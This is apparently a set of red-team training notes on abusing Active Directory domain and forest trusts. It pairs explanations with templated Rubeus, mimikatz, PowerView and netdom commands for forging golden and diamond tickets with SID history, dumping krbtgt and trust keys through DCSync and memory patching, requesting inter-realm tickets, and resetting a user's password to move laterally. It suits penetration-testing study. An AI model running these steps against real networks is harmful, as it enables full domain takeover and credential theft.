Forest & Domain Trusts
At a basic level, a trust relationship enables users in one domain to authenticate and access resources in another domain. This works by allowing authentication traffic to flow between them using referrals. When a user requests access to a resource outside of their current domain, their KDC will return a referral ticket pointing to the KDC of the target domain. The user's TGT is encrypted using an inter-realm trust key (rather than the local krbtgt), which is often called an inter-realm TGT. The foreign domain decrypts this ticket, recovers the user's TGT and decides whether they should be granted access to the resource or not.
Trusts can be one-way or two-way; and transitive or non-transitive.
A one-way trust allows principals in the trusted domain to access resources in the trusting domain, but not vice versa. A two-way trust is actually just two one-way trusts that go in the opposite directions, and allows users in each domain to access resources in the other. Trust directions are confusing as the direction of the trust is the opposite to the direction of access.
If Domain A trusts Domain B, Domain A is the trusting domain and Domain B is the trusted domain. But this allows users in Domain B to access Domain A, not A to B. To further complicate things, one-way trusts can be labelled as Inbound or Outbound depending on your perspective. In Domain A, this would be an Outbound trust; and in Domain B, this would be an Inbound trust.
Parent/Child (two-way)
When a child domain is added to a forest, it automatically creates a transitive, two-way trust with its parent.
First we need to see the domain trusts (PowerView/Forest & Domain Trusts)
If we have Domain Admin privileges in the child, we can also gain Domain Admin privileges in the parent using a TGT with a special attribute called SID History.
This can be achieved using either a Golden or Diamond Ticket but adding information about the parent domain.
If we are abusing a bidirectional trust beteween forests (and not whitin a single forest) we must take into account SID History and SID Filtering:
To enable SID History:
netdom trust {current domain} /d:{target domain} /enablesidhistory:yes
If we ecounter SID Filtering, locate a non-default group, those will always have a RID equal to or higher than 1000 and bypass that filter:
Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com
- Golden Ticket
The process is the same as creating Golden Tickets previously, the only additional information required is the SID of a target group in the parent domain (PowerView/Forest & Domain Trusts).
Once we have that information, we can create the golden ticket with Rubeus:
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:{krbtg aes256 hash} /user:Administrator /domain:{actual domain} /sid:{actual domain SID} /sids:{SID of the parent domain (domain admins group)} /nowrap
Then we can import it into a logon session (PtT) and use it to access the domain controller in the parent.
To do the same with mimikatz (example of a complete process abusing the bidirectional trust between different forests):
lsadump::dcsync /domain:{current domain} /user:{domain}\krbtg
or lsadump::lsa /inject /name:krbtgt
Get-DomainSID -Domain {current domain}
Get-DomainSID -Domain {target domain}
netdom trust {current domain} /d:{target domain} /enablesidhistory:yes
Get-DomainGroupMember -Identity "Administrators" -Domain {target domain}
kerberos::golden /user:fakeuser /domain:{current domain} /sid:{current domain SID} /krbtgt:{krbtgt ntlm hash} /sids:{SID of the target domain (domain admins group)} /ptt
- Diamond Ticket
The Rubeus diamond command also has a /sids
parameter, with which we can supply the extra SIDs we want in our ticket.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:{SID of the parent domain} /krbkey:{krbtgt AES256 hash} /nowrap
One-Way Inbound
Because the trust is inbound from our perspective, it means that principals in our domain can be granted access to resources in the foreign domain. We can enumerate the foreign domain across the trust.
We need to identify any groups that contain users outside of its domain and return its members. We can Identify it with PowerView.
If we have identified it successfully, the MemberName field will contain a SID that can be resolved in our current domain:
powershell ConvertFrom-SID {Identified SID}
To hop a domain trust using Kerberos, we first need an inter-realm key. Obtain a TGT for the target user, for example, a overpass the hash attack against a domain admin.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{target} /domain:{current domain} /aes256:{aes256 hash} /nowrap
Next, use that TGT to request a referral ticket from the current domain to the target domain.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/{target domain} /domain:{current domain} /dc:{domain controller of the current domain} /ticket:{ticket of the domain controller of the current domain we obtained before} /nowrap
Finally, use this inter-realm ticket to request TGS's in the target domain. For example, to request a ticket for CIFS:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/{domain controller of the target domain} /domain:{target domain} /dc:{domain controller of the target domain} /ticket:{referral ticket we obtained before} /nowrap
Now we can PtT, list the files in the other domain and jump using PsExec or other tools. Example:
ls \\dc.dev-studio.com\c$
In adittion, if we identify an user of our domain with PowerView, like for the previous task, and that user has access to services over the other domain, and we are domain admins, we could just change it's password: net user /domain USERNAME NEWPASS
and then use PSSession with the secure creds to move laterally.
One-Way Outbound
Both domains in a trust relationship store a shared password (which is automatically changed every 30 days) in a Trusted Domain Object (TDO). These objects are stored in the system container and can be read via LDAP (ADSearch).
There are two options for obtaining the key material.
Dump from the DC
Here we will move laterally to the DC of our current domain and dump from memory the shared password (This performs memory patching, which is very risky, particularly on a domain controller.):
mimikatz lsadump::trust /patch
DCSync with the TDO's GUID
Example:
powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
[Out] and [Out-1] are the "new" and "old" passwords respectively
Trusted Accounts:
It could be also a "trust account" which is created in the "trusted" domain, with the name of the "trusting" domain (We can locate the different accounts with ADSearch or other similar tools)
This is the account we must impersonate to request Kerberos tickets across the trust.
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{trust account for the target domain} /domain:{target domain} /rc4:{rc4 hash extracted before} /nowrap
This TGT can now be used to interact with the domain (PtT).
Last updated